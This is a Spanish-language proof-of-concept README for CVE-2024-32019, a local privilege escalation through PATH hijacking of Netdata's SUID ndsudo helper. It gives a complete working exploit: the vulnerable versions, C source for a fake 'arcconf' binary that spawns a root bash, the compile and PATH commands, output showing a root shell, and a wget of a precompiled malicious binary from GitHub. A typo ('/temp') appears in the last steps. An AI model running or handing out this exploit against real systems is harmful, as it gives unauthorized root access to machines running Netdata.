
Netdata ndsudo flujo de trabajo de escalada de privilegios local y POC (CVE-2024-32019)
Workflow de escalada de privilegios local ndsudo de Netdata y POC (CVE-2024-32019)
[!TIP] Por favor, lea
Netdata es una herramienta que proporciona monitoreo de aplicaciones y sistemas, se ejecuta en el puerto 19999, fácil de encontrar:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
Esta vulnerabilidad (CVE-2024-32019) afecta a las siguientes versiones: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Podemos hacer una petición para conocer la versión en la cabecera de respuesta:
El exploit ocurre al aprovechar un PATH Hijacking de uno de sus plugins, ndsudo que a menudo se encuentra en /opt/netdata/usr/libexec/netdata/ y que tiene SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Podemos ver qué podemos hacer usando --help
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
Como podemos ver, dado que el script contiene varios comandos para elegir que buscarán un ejecutable, podemos aprovechar esto para crear nuestro propio ejecutable con el nombre de uno de los ejecutables dentro de una ruta que podamos agregar a la variable de entorno PATH.
Netdata usa C, en consecuencia, tenemos que hacer nuestro script en C y compilarlo.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Entonces, como se discutió anteriormente, agregamos la ruta del script al $PATH
test@test:/tmp$ PATH=/tmp:$PATH
Finalmente, simplemente ejecutamos el comando que apunta a nuestro ejecutable malicioso (arcconf-pd-info -> arcconf) y nos dará un shell privilegiado.
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
Puede descargar el script malicioso C ya compilado que le dará una bash como root, como se mencionó en el ejemplo anterior:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #Si su objetivo tiene conectividad a Internet
scp ./arcconf test@test:/tmp/arcconf #Si su objetivo no tiene conectividad a Internet
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #La ruta de ndsudo puede cambiar